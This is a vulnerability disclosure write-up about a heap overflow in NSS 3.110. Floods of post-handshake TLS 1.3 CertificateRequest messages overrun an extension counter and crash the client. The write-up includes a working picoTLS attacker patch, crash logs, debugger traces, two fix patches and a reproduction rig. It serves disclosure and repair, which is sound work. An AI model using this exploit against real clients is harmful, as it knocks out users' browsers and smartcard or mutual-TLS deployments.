# Firefox crashes on wire it asked for > NSS resets its extension counter at handshake start and never again. Each > CertificateRequest steps it further past a 22-slot array. The user opens a website. The page pulls scripts, images, frames from origins all over, and every one of those is a TLS connection the browser opened on the user's behalf. A stream of post-handshake CertificateRequest messages corrupts the heap and takes the process out. The bug is a counter that doesn't reset. NSS tracks the extensions it has parsed on a given handshake message in a fixed-size 22-slot array; the counter that indexes that array is reset at the start of the handshake and never again. Each CertificateRequest in that stream carries one extension, `signature_algorithms`, and bumps the counter by one. After twenty-two messages the writes overrun the array; each further message writes two more bytes into the struct downstream, unbounded, until one lands on the `sigSchemes` pointer and the next `PORT_Free` on it hands glibc an address it refuses and the allocator aborts. How many messages that takes is the distance from array to pointer in the target's struct layout, divided by two, plus one: seventy-two on the build we captured. The attacker is the server, the target is the client it asks to authenticate, and nothing on the wire is malformed: a server may ask for authentication at any time after the handshake, as often as it likes. NSS's own state machine accepts the messages back-to-back; what never resets between them is the parser's bookkeeping. ## Don't trust, verify: Hundred requests, abort at seventy-three The malicious endpoint is a stock picoTLS server with one small patch: the moment the application traffic key is installed, the server fires one hundred post-handshake CertificateRequest records, ahead of any application data. One hundred overshoots on purpose, being more than enough to walk the counter past the pointer on any affected build.
the patch, if you want to see how it works ```diff --- a/include/picotls.h +++ b/include/picotls.h @@ -1731,6 +1731,10 @@ int ptls_receive(ptls_t *tls, ptls_buffer_t *plaintextbuf, const void *input, si * encrypts given buffer into multiple TLS records */ int ptls_send(ptls_t *tls, ptls_buffer_t *sendbuf, const void *input, size_t inlen); +/** + * SHATTER: sends n post-handshake CertificateRequest messages (server only) + */ +int ptls_shatter_send_certreqs(ptls_t *tls, ptls_buffer_t *sb, int n); /** * updates the send traffic key (as well as asks the peer to update) */ --- a/lib/picotls.c +++ b/lib/picotls.c @@ -6139,6 +6139,40 @@ Exit: return ret; } +/* SHATTER: emit n post-handshake CertificateRequest records under the + * application traffic key. RFC 8446 section 4.6.2 lets a server ask for + * client authentication at any point after the handshake, and caps nothing, + * so every record here is well formed: a fresh certificate_request_context + * and the one mandatory extension, signature_algorithms. The record layer, + * the key schedule and the AEAD are the host library's, untouched. */ +int ptls_shatter_send_certreqs(ptls_t *tls, ptls_buffer_t *sb, int n) +{ + struct st_ptls_record_message_emitter_t emitter; + int i, ret = 0; + + init_record_message_emitter(tls, &emitter, sb); + for (i = 0; i < n; ++i) { + ptls_push_message(&emitter.super, NULL, + PTLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST, { + ptls_buffer_push_block(sb, 1, { /* request context */ + ptls_buffer_push(sb, (uint8_t)i); + }); + ptls_buffer_push_block(sb, 2, { /* extensions */ + buffer_push_extension(sb, + PTLS_EXTENSION_TYPE_SIGNATURE_ALGORITHMS, { + ptls_buffer_push_block(sb, 2, { + ptls_buffer_push16(sb, 0x0403); /* ecdsa p256 */ + ptls_buffer_push16(sb, 0x0804); /* rsa_pss */ + }); + }); + }); + }); + } + +Exit: + return ret; +} + int ptls_send(ptls_t *tls, ptls_buffer_t *sendbuf, const void *input, size_t inlen) { assert(tls->traffic_protection.enc.aead != NULL); --- a/t/cli.c +++ b/t/cli.c @@ -78,6 +78,24 @@ static void setup_ptlslog(const char *fn) ptls_log.may_include_appdata = 1; } +/* SHATTER: ask the peer to authenticate, n times over. The count comes from + * the environment, so one binary is both the honest control (one request, as + * RFC 8446 section 4.6.2 intends) and the attacker (a hundred, simply more + * than enough to walk NSS's extension counter off the end of its array). */ +static void shatter_fire(ptls_t *tls, ptls_buffer_t *encbuf) +{ + const char *env = getenv("SHATTER_CERTREQS"); + int n = env != NULL ? atoi(env) : 100; + size_t before = encbuf->off; + + if (ptls_shatter_send_certreqs(tls, encbuf, n) != 0) { + fprintf(stderr, "shatter: emitter failed\n"); + exit(1); + } + fprintf(stderr, "shatter: %d x CertificateRequest, %zu bytes\n", + n, encbuf->off - before); +} + static int handle_connection(int sockfd, ptls_context_t *ctx, const char *server_name, const char *input_file, ptls_handshake_properties_t *hsprop, int request_key_update, int keep_sender_open) { @@ -162,6 +180,12 @@ static int handle_connection(int sockfd, ptls_context_t *ctx, const char *server if (state == IN_HANDSHAKE) { if ((ret = ptls_handshake(tls, &encbuf, bytebuf + off, &leftlen, hsprop)) == 0) { state = IN_1RTT; + /* SHATTER: the application traffic key is now + * installed, so this is the first moment a server + * may ask for client authentication. The flight + * goes out ahead of any application data. */ + if (ptls_is_server(tls)) + shatter_fire(tls, &encbuf); assert(ptls_is_server(tls) || hsprop->client.early_data_acceptance != PTLS_EARLY_DATA_ACCEPTANCE_UNKNOWN); ech_save_retry_configs(); /* release data sent as early-data, if server accepted it */ ```
Every record is well formed: a fresh certificate_request_context and the one extension a CertificateRequest must carry. picoTLS owns the record layer, the key schedule and the AEAD, so the attacker writes neither a line of HKDF nor a byte of GCM. The count comes from the environment, so the same binary is the honest control at one request and the attacker at a hundred. Stock `tstclnt`, the canonical NSS test client Debian ships (`libnss3-tools`), completes a handshake, meets the flood, and feeds every record into `tls13_HandleCertificateRequest`: one client-certificate hook miss per record, the extension counter never resetting between them. ```text $ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \ -i payload.txt 127.0.0.1 18443 & server started on port 18443 shatter: 100 x CertificateRequest, 4000 bytes $ setarch -R tstclnt -h 127.0.0.1 -p 18443 -d nssdb -V tls1.3: -E -n localhost subject DN: CN=localhost Failed to load a suitable client certificate Failed to load a suitable client certificate Failed to load a suitable client certificate ... 69 more identical lines ... free(): invalid pointer # CertificateRequest messages parsed: 72 tstclnt exit status: 134 (killed by signal 6) $ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \ -i payload.txt 127.0.0.1 18444 & server started on port 18444 shatter: 100 x CertificateRequest, 4000 bytes $ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib setarch \ -R nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18444 -d nssdb \ -V tls1.3: -E -n localhost subject DN: CN=localhost Failed to load a suitable client certificate Failed to load a suitable client certificate Failed to load a suitable client certificate ... 69 more identical lines ... free(): invalid pointer # CertificateRequest messages parsed: 72 tstclnt exit status: 134 (killed by signal 6) ``` The seventy-second write tipped `negotiated[]` into the `sigSchemes` pointer downstream, and the seventy-third record's `PORT_Free` on that corrupted pointer handed glibc an address that is not a heap pointer at all. The client is gone before three quarters of the four-kilobyte flight has landed, and the application data behind it, `POST-HANDSHAKE-OK`, never arrives. The tarball build dies at the same record as the distribution's, so the defect is upstream source and not a packaging artefact. On a different build the crash lands on a different record, because the pointer sits at a different offset, but land it does. Memcheck names the free site, `ssl3_HandleSigAlgsXtn`, and shows what the pointer had become: ```text $ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \ -i payload.txt 127.0.0.1 18445 & server started on port 18445 shatter: 100 x CertificateRequest, 4000 bytes $ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib valgrind \ --num-callers=8 nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18445 \ -d nssdb -V tls1.3: -E -n localhost Invalid free() / delete / delete[] / realloc() at free (vg_replace_malloc.c:989) by PR_Free (prmem.c:449) by PORT_Free_Util (secport.c:173) by ssl3_HandleSigAlgsXtn (ssl3exthandle.c:1618) by ssl_CallExtensionHandler (ssl3ext.c:447) by ssl3_HandleParsedExtensions (ssl3ext.c:596) by ssl3_HandleExtensions (ssl3ext.c:617) by tls13_HandleCertificateRequest (tls13con.c:3202) Address 0x57c000d is 4,317 bytes inside a block of size 18,432 free'd Invalid read of size 8 at memmove (vg_replace_strmem.c:1414) by ssl3_BeginHandleCertificateRequest (ssl3con.c:8112) by tls13_HandleCertificateRequest (tls13con.c:3224) by tls13_HandlePostHelloHandshakeMessage (tls13con.c:1308) by ssl3_HandleHandshakeMessage (ssl3con.c:12735) by ssl3_HandleHandshake (ssl3con.c:12910) by ssl3_HandleNonApplicationData (ssl3con.c:13445) by ssl3_HandleRecord (ssl3con.c:13809) Address 0xd97f0 is not stack'd, malloc'd or (recently) free'd Process terminating with default action of signal 11 (SIGSEGV) Access not within mapped region at address 0xD97F0 # CertificateRequest messages parsed: 72 tstclnt exit status: 139 (killed by signal 11) ``` The address handed to the allocator ends in `000d`, the numeric value of `ssl_signature_algorithms_xtn`, which is what the handler writes into the array. Memcheck places that address 4,317 bytes inside a block of 18,432 that had already been freed: an interior pointer into dead heap, not the start of a live allocation, and that is what glibc's own check rejects. Memcheck reports an invalid free rather than dying on it, so this run gets a few instructions further, into a `memmove` that reads through the corrupted state at an address with no mapping behind it. ## Trace to vulnerability site: Counter climbs, never resets The array and its counter live in the same struct, in `ssl3ext.h`. The array bound `SSL_MAX_EXTENSIONS` resolves to 22, in `sslt.h`: ```text $ sed -n 43,45p nss-3.110/nss/lib/ssl/ssl3ext.h PRUint16 *echAdvertised; PRUint16 numNegotiated; PRUint16 negotiated[SSL_MAX_EXTENSIONS]; $ sed -n 573,576p nss-3.110/nss/lib/ssl/sslt.h /* SSL_MAX_EXTENSIONS includes the maximum number of extensions that are * supported for any single message type. That is, a ClientHello; ServerHello * and TLS 1.3 NewSessionTicket and HelloRetryRequest extensions have fewer. */ #define SSL_MAX_EXTENSIONS 22 ``` NSS registers three handlers for a CertificateRequest, and two of them write the array. The flight above reaches signature_algorithms, which frees the list the previous message left, parses the new one, and records its own type with a post-increment that checks no bound: ```text $ sed -n 1617,1620p nss-3.110/nss/lib/ssl/ssl3exthandle.c if (xtnData->sigSchemes) { PORT_Free(xtnData->sigSchemes); xtnData->sigSchemes = NULL; } $ sed -n 1642,1643p nss-3.110/nss/lib/ssl/ssl3exthandle.c /* Keep track of negotiated extensions. */ xtnData->negotiated[xtnData->numNegotiated++] = ssl_signature_algorithms_xtn; ``` Both lines are safe as long as the counter starts each handshake at zero and never gets past twenty-two. It does start at zero: one memset clears the extension-data struct as a handshake begins. Nothing zeroes it again. The message reaches `tls13_HandleCertificateRequest` over the application-data stream. The handler runs the parser and never touches the counter; its cleanup block frees five fields and leaves the counter alone. ```text $ sed -n 1039,1043p nss-3.110/nss/lib/ssl/ssl3ext.c unsigned int advertisedMax; PRCList *cursor; /* Set things up to the right starting state. */ PORT_Memset(xtnData, 0, sizeof(*xtnData)); $ sed -n 3149,3168p nss-3.110/nss/lib/ssl/tls13con.c /* clean up anything left from previous handshake. */ if (ss->ssl3.clientCertChain != NULL) { CERT_DestroyCertificateList(ss->ssl3.clientCertChain); ss->ssl3.clientCertChain = NULL; } if (ss->ssl3.clientCertificate != NULL) { CERT_DestroyCertificate(ss->ssl3.clientCertificate); ss->ssl3.clientCertificate = NULL; } if (ss->ssl3.clientPrivateKey != NULL) { SECKEY_DestroyPrivateKey(ss->ssl3.clientPrivateKey); ss->ssl3.clientPrivateKey = NULL; } if (ss->ssl3.hs.clientAuthSignatureSchemes != NULL) { PORT_Free(ss->ssl3.hs.clientAuthSignatureSchemes); ss->ssl3.hs.clientAuthSignatureSchemes = NULL; ss->ssl3.hs.clientAuthSignatureSchemesLen = 0; } SECITEM_FreeItem(&ss->xtnData.certReqContext, PR_FALSE); ss->xtnData.certReqContext.data = NULL; ``` Each record in the flight carries one extension, so the counter steps by one per message, and at twenty-three the write lands past the end of the array. How far past is a question for the compiler, and the built library answers it: ```text $ gdb -batch -ex 'ptype /o TLSExtensionData' \ nss-3.110/dist/Debug/lib/libssl3.so type = struct TLSExtensionDataStr { /* 1088 | 2 */ PRUint16 numNegotiated; /* 1090 | 44 */ PRUint16 negotiated[22]; /* 1232 | 8 */ SSLSignatureScheme *sigSchemes; /* total size (bytes): 1528 */ # (1232 - 1090) / 2 + 1 = 72 — the record whose write lands on the # pointer; the record after it frees what is left ``` The handler frees `sigSchemes` on every message, which is what turns two stray bytes into an abort: ``` xtnData: one 2-byte write (the extension type, 0x000d) per post-handshake CertificateRequest in this flight; the index climbs and never resets between messages. requests 1..22 requests 23..71 request 72 +------------------+ +-------------------+ +-------------------+ | negotiated[0..21]|-->| 98 bytes of |--->| sigSchemes (ptr) | | 22 slots, in | | adjacent struct | | low 16 bits <- | | bounds | | fields, 49 writes | | 0x000d | +------------------+ +-------------------+ +---------+---------+ | request 73 -> PORT_Free(sigSchemes) -> glibc's free() -> SIGABRT offset 1232 is NSS 3.110 on x86-64; another build moves the pointer, and the count with it. The overflow that reaches it does not move. ``` ## Fix: Counter reset, parser capped Our fix is two changes. The first inserts the missing reset into the cleanup block in `tls13_HandleCertificateRequest`: when the handler reruns on one of those post-handshake messages, the extension counter returns to zero alongside the five fields the original cleanup already handled. ```diff --- a/lib/ssl/tls13con.c +++ b/lib/ssl/tls13con.c @@ -3166,6 +3166,10 @@ } SECITEM_FreeItem(&ss->xtnData.certReqContext, PR_FALSE); ss->xtnData.certReqContext.data = NULL; + /* Each CertificateRequest carries its own extension set; the + * counter has to start fresh or repeated CertReqs will write + * past the end of negotiated[]. */ + ss->xtnData.numNegotiated = 0; } else { PORT_Assert(ss->ssl3.clientCertChain == NULL); PORT_Assert(ss->ssl3.clientCertificate == NULL); ``` The second is a defensive cap. Twenty-nine sites in `lib/ssl` record an extension by incrementing that counter without checking it first, and no line in the library ever compares it with its bound. ```text $ grep -rc numNegotiated++ nss-3.110/nss/lib/ssl | grep -v ':0$' | sort nss-3.110/nss/lib/ssl/ssl3exthandle.c:16 nss-3.110/nss/lib/ssl/tls13ech.c:1 nss-3.110/nss/lib/ssl/tls13exthandle.c:12 $ grep -rnE 'numNegotiated[[:space:]]*[<>]' nss-3.110/nss/lib/ssl # nothing: the counter is written at every site and compared at none ``` So the cap belongs in `ssl3_HandleParsedExtensions`, the loop every one of those handlers is dispatched from, where it stands for all of them and for any future caller that forgets a reset of its own. ```diff --- a/lib/ssl/ssl3ext.c +++ b/lib/ssl/ssl3ext.c @@ -523,6 +523,10 @@ for (cursor = PR_NEXT_LINK(&ss->ssl3.hs.remoteExtensions); cursor != &ss->ssl3.hs.remoteExtensions; cursor = PR_NEXT_LINK(cursor)) { + if (ss->xtnData.numNegotiated >= SSL_MAX_EXTENSIONS) { + FATAL_ERROR(ss, SSL_ERROR_RX_MALFORMED_HANDSHAKE, decode_error); + return SECFailure; + } TLSExtension *extension = (TLSExtension *)cursor; SECStatus rv; ``` The reset is saved as `fix1.patch` and the cap written to `fix2.patch`. Both go onto the same tree the crash was captured on, the cap first and the reset on top of it, so each half answers for itself: ```text # the defensive cap first, on its own: same tree, same compiler $ patch -p1 -d nss-3.110/nss < fix2.patch patching file lib/ssl/ssl3ext.c $ env -C nss-3.110/nss ./build.sh -j 2 # then the missing reset, and rebuild again $ patch -p1 -d nss-3.110/nss < fix1.patch patching file lib/ssl/tls13con.c $ env -C nss-3.110/nss ./build.sh -j 2 ``` The cap alone stops the flood, the way a parser should: the counter reaches twenty-two, the twenty-third message is refused as a malformed handshake, and the connection closes with the heap intact. It is blunt, since it also ends a connection whose only offence was asking too often. ```text $ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \ -i payload.txt 127.0.0.1 18446 & server started on port 18446 shatter: 100 x CertificateRequest, 4000 bytes $ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib setarch \ -R nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18446 -d nssdb \ -V tls1.3: -E -n localhost subject DN: CN=localhost Failed to load a suitable client certificate Failed to load a suitable client certificate Failed to load a suitable client certificate ... 19 more identical lines ... tstclnt: read from socket failed: SSL_ERROR_RX_MALFORMED_HANDSHAKE: SSL received a malformed Handshake record. # CertificateRequest messages parsed: 22 tstclnt exit status: 1 ``` The reset is the repair. With the counter returning to zero at the end of every post-handshake CertificateRequest the flood never accumulates: the client parses the hundredth record exactly as it parsed the first, the connection stays up, and the application data behind the flight arrives. A legitimate single request, the exchange the standard actually describes, still completes, so there is no regression on real traffic. ```text $ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \ -i payload.txt 127.0.0.1 18447 & server started on port 18447 shatter: 100 x CertificateRequest, 4000 bytes $ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib setarch \ -R nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18447 -d nssdb \ -V tls1.3: -E -n localhost subject DN: CN=localhost Failed to load a suitable client certificate Failed to load a suitable client certificate Failed to load a suitable client certificate ... 97 more identical lines ... POST-HANDSHAKE-OK # CertificateRequest messages parsed: 100 tstclnt exit status: 0 $ env SHATTER_CERTREQS=1 picotls/build/cli -c ec.crt -k ec.key -i payload.txt \ 127.0.0.1 18448 & server started on port 18448 shatter: 1 x CertificateRequest, 40 bytes $ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib setarch \ -R nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18448 -d nssdb \ -V tls1.3: -E -n localhost subject DN: CN=localhost Failed to load a suitable client certificate POST-HANDSHAKE-OK # CertificateRequest messages parsed: 1 tstclnt exit status: 0 ``` The one-line reset closes the reported crash; the bounds check is defence-in-depth for any other caller that re-enters the parser without resetting. ## Scope The bug only bites where post-handshake authentication is enabled — the server asking an already-encrypted client to prove who it is. Consumer Firefox leaves it off by default. The exposed population is every deployment that turns it on: PKCS#11 and hardware-security-module middleware, smartcard-authenticated (PIV/CAC) clients, enterprise mutual TLS, and enterprise Firefox with the preference set — the federal workstation, the defence integrator, the bank with a token on the desk. That is a targeted availability kill against high-assurance deployments, not a generic denial of service. The overflow happens inside extension parsing, below the message handler and before the client-certificate hook that same handler reaches later, so the crash does not depend on what a client certificate callback does or on whether it answers at once. The overflow is not new. Post-handshake authentication arrived in NSS 3.43 in 2019, and the commit that added it zeroed the extension counter only at handshake start, never again. Post-handshake requests have accumulated against that fixed array ever since, running off its end once enough arrive; seven years, every release through the pinned tag. The headline score, 7.5, carries Scope: Unchanged, and the instinct runs the other way: one server sends the flight and every tab on the box goes with it. Fission isolates web content by process and never covered the process NSS's handshake work runs in, so at the point of failure there was no boundary to cross. The absence is by design, and it is the finding underneath the finding: the mechanism that isolates web content does not reach the code that parses their handshakes. [BURST](https://cybernuke.bensmyth.com/BURST-nss-cert-compression-bomb) crosses the same line by another route in the same library. ## Appendix: standing it up Neither end of the affected range assigns the counter anywhere in `lib/ssl`, which is what makes 3.43 the floor: ```text $ REL43=https://ftp.mozilla.org/pub/security/nss/releases/NSS_3_43_RTM $ curl -sSLO "$REL43/src/nss-3.43.tar.gz" $ tar xzf nss-3.43.tar.gz nss-3.43/nss/lib/ssl nss-3.43/nss/.hg_archival.txt $ grep -x 'tag: NSS_3_43_RTM' nss-3.43/nss/.hg_archival.txt tag: NSS_3_43_RTM $ grep -rlE 'numNegotiated[[:space:]]*=[^=]' nss-3.43/nss/lib/ssl # nothing: in 3.43, as in 3.110, the counter is only ever ++ ``` Everything a maintainer needs is above. What follows is the rig, and it runs before the first cell there: both endpoints fetched and built, the certificate minted and trusted, and something for the server to say once the flight is out. ```text # Working directory: empty but for the three diffs above, saved as # adversary.patch, fix1.patch and fix2.patch. All else is fetched here. # the attacker: picoTLS, pinned at the upstream commit, then patched $ git clone https://github.com/h2o/picotls.git $ git -C picotls checkout aef2262 $ git -C picotls submodule update --init $ git -C picotls apply ../adversary.patch $ cmake -S picotls -B picotls/build $ cmake --build picotls/build --target cli -j2 # the target: the NSS 3.110 release tarball, checked against the # SHA-256 Mozilla published for it, and the tag it was cut from $ REL=https://ftp.mozilla.org/pub/security/nss/releases/NSS_3_110_RTM $ curl -sSLO "$REL/src/nss-3.110-with-nspr-4.36.tar.gz" $ sha256sum nss-3.110-with-nspr-4.36.tar.gz | cut -c1-64 96114bef9e9692dda6e7793da26fedef0dc0449c3644ebe1122464e599a39dc0 $ tar xzf nss-3.110-with-nspr-4.36.tar.gz $ cat nss-3.110/nss/.hg_archival.txt repo: 9949429068caa6bb8827a8ceeaa7c605d722f47f node: 0b262be660fd747f60fbdda34374734961ddbc81 branch: NSS_3_110_BRANCH tag: NSS_3_110_RTM # NSS's build.sh runs python, and Debian ships only python3 unless # python-is-python3 is installed. NSPR is built along with NSS. $ mkdir bin && ln -s "$(command -v python3)" bin/python $ export PATH="$PWD/bin:$PATH" $ env -C nss-3.110/nss ./build.sh -j 2 # tstclnt carries no rpath into the tree it was built from, so without # LD_LIBRARY_PATH it quietly loads the system NSS instead: $ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib ldd \ nss-3.110/dist/Debug/bin/tstclnt libnss3.so => nss-3.110/dist/Debug/lib/libnss3.so libssl3.so => nss-3.110/dist/Debug/lib/libssl3.so # a self-signed server certificate, and an NSS database that trusts it $ openssl ecparam -genkey -name prime256v1 -out ec.key $ openssl req -new -x509 -key ec.key -out ec.crt -days 1 -subj /CN=localhost \ -addext subjectAltName=DNS:localhost,IP:127.0.0.1 $ mkdir nssdb $ certutil -N -d nssdb --empty-password $ certutil -A -d nssdb -n localhost -t C,, -i ec.crt # and something for the server to say once the flight is out $ printf 'POST-HANDSHAKE-OK\n' > payload.txt ``` --- Discovered 2026-03-24; disclosed 2026-03-27 (Mozilla + CERT/CC VRF#26-03-NXJZF). Target: NSS 3.110 at release tag `NSS_3_110_RTM`. CWE-787 · CVSS 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.